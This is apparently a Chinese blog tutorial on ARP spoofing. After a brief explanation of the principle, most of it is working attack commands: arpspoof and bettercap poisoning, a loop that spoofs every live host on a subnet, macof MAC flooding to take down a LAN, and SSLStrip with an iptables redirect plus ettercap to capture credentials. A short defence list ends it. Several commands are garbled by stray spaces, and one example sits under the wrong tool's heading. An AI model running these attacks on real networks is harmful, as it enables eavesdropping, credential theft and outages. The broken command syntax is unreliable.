Featured image of post ARP欺诈-从理解到实战

ARP欺诈-从理解到实战

ARP欺诈-从理解到实战

ARP欺诈实战常用指令

ARP欺诈的本质

ARP欺诈本质是“身份冒充”。攻击者通过伪造并发送虚假ARP报文,欺骗局域网内其他设备,让它们误以为:

  • 攻击者电脑就是网关。
  • 或攻击者电脑是另一台合法通信对象。

如此一来,受害设备将发往互联网或特定设备的网络流量,错误发送给攻击者,攻击者实现中间人攻击,可对流量窃听、篡改或截获。

ARP欺诈的攻击条件

  1. 攻击者与目标设备需处于同一个二层广播域(即同一个IP子网/VLAN内),因为ARP协议基于MAC,无法跨网段工作。
  2. 攻击者机器必须成功接入该局域网,且拥有合法IP地址。
  3. 网络中未部署有效的ARP安全机制(如动态ARP检测DAI),且目标设备未设置静态、不可覆盖的ARP表项。

步骤1:扫描全网/特定网段

  • ./fscan.exe -h 10.1.1.0/24
  • nmap --script broadcast - android - browser - enum - sS 10.1.1.0/24

步骤2:ARP欺诈攻击目标

使用kali arpspoof工具

arpspoof -i eth0 -t 10.1.1.10 - 10.1.1.254

  • -i:指定lan网卡
  • -t:指定target目标
  • [目标地址] [网关地址]

拓展1:批量ARP攻击,攻击复数设备

扫描网段内存活的主机,保存到文件

nmap -sn 10.1.1.0/24 | grep -Eo '([0 - 9]{1,3}\.){3}[0 - 9]{1,3}' > live_hosts.txt

循环读取文件中的IP,对每个存活主机进行ARP欺骗

1
2
3
4
5
6
while read -r target_ip; do
  if [ "$target_ip" != "10.1.1.1" ] && [ "$target_ip" != "你的攻击机IP" ]; then
    echo "正在攻击: $target_ip"
    arpspoof -i eth0 -t "$target_ip" 10.1.1.254 &
  fi
done < live_hosts.txt

注:规模太大的ARP攻击与DDOS无异,性能较低。

拓展2:利用ARP攻击实现LAN内DDOS攻击

通过海量、伪造的ARP数据包,进行MAC地址表泛洪,耗尽网络设备(主要是交换机)的处理资源或MAC地址表空间,导致网络瘫痪。

攻击原理

  1. 交换机内部有MAC地址表,记录每个端口连接设备的MAC地址,表空间有限。
  2. 攻击者用工具(如macof)疯狂生成大量伪造源MAC和源IP地址的ARP请求/应答包。
  3. 交换机收到数据包,试图更新MAC地址表,但因MAC地址全是随机伪造的,很快被无用条目填满。

攻击后果

  1. MAC地址表填满后,交换机无法学习新的合法MAC地址。
  2. 交换机会退化为集线器,将收到的数据包向所有端口广播(除来源端口)。
  3. 导致:
    • 网络性能急剧下降:所有设备收到大量不属于自己的流量,占用带宽和CPU资源。
    • 信息泄露风险:攻击者可在自己连接端口嗅探到整个局域网流量,实现窃听。

工具使用

  • macof:专门用于MAC地址表泛洪攻击,KALI内置
1
2
# 对接口eth0发动MAC泛洪攻击
macof -i eth0
  • arpspoof:若同时向大量IP发送欺骗包,也可达ARP洪水效果
1
2
# 使用hping3伪造ARP包进行洪水攻击(示例概念)
hping3 --arp --spoof 0 --data - length 1000 10.1.1.0/24
  • bettercap全域ARP毒化
1
bettercap -iface eth0

在bettercap交互式命令行中:

1
2
3
set arp.spoof.targets 10.1.1.2 - 10.1.1.253
set arp.spoof.fullduplex true   # 双向欺骗
arp.spoof on

或者使用一个简单的arpspoof循环脚本

拓展3:ARP欺诈实现http中间人攻击MITM

http可被ARP攻击,攻击机相当于透明代理。而端对端加密协议(如https或ssh)无法直接攻击,MITM意义较低,必须降级成非安全协议才能劫持,但这对被攻击者较明显,因为https会瞬间变成提示不安全的http协议。

工具及使用

工具 主要命令/步骤 关键参数/说明
arpspoof arpspoof -i [interface] -t [target] [gateway] -i指定接口,-t指定目标,欺骗目标使其认为攻击者是网关
ettercap ettercap -T -M arp:remote /[target]// /[gateway]// -T文本模式,-M arp:remote启动ARP欺骗
bettercap set arp.spoof.targets [target]; set arp.spoof.fullduplex true; arp.spoof on 设置欺骗目标,开启双向欺骗,启动ARP欺骗

准备工作与配置

  1. 启用IP转发:防止目标设备断网被发现。在Linux中:
1
echo 1 > /proc/sys/net/ipv4/ip_forward

cat /proc/sys/net/ipv4/ip_forward验证,输出为1表示成功启用。 2. 配置SSLStrip(针对HTTPS):为应对HTTPS流量,用SSLStrip等工具将HTTPS连接降级为HTTP获取明文信息。启动SSLStrip命令通常类似sslstrip -a -f -k。同时用iptables将HTTP流量重定向到SSLStrip监听端口(如10000):

1
iptables -t nat -A PREROUTING -p tcp --destination - port 80 -j REDIRECT --to - port 10000

对于ettercap,需确保其配置文件/etc/ettercap/etter.conf中与iptables相关的redir_command_onredir_command_off配置行取消注释(移除行首的#)。

流量嗅探与分析

成功实施ARP欺骗并配置好转发后,可用工具捕获分析流量:

  • 使用tcpdump:基本网络流量嗅探工具
1
tcpdump -i [interface] host [target]

[interface]是网络接口名称,[target]是被攻击目标的IP地址,假设为10.1.1.10 。

  • 使用ettercap:本身具备强大嗅探功能,可在ARP欺骗同时捕获显示密码等敏感信息,如ettercap -Tq启动安静模式文本界面,显示捕获到的用户名和密码等信息。

拓展4:防御措施

  1. 交换机端口安全:在接入端口限制学习的MAC数量,并绑死固定合法的MAC地址,这是最根本防御。
  2. 动态ARP检测(DAI):交换机配置校验ARP报文合法性,丢弃非法ARP包。
  3. 广播风暴控制:在交换机上配置,限制每个端口单位时间内的广播流量。
  4. 网络分段:使用VLAN将大型网络划分为多个小的广播域,限制攻击影响范围。

this is the end :)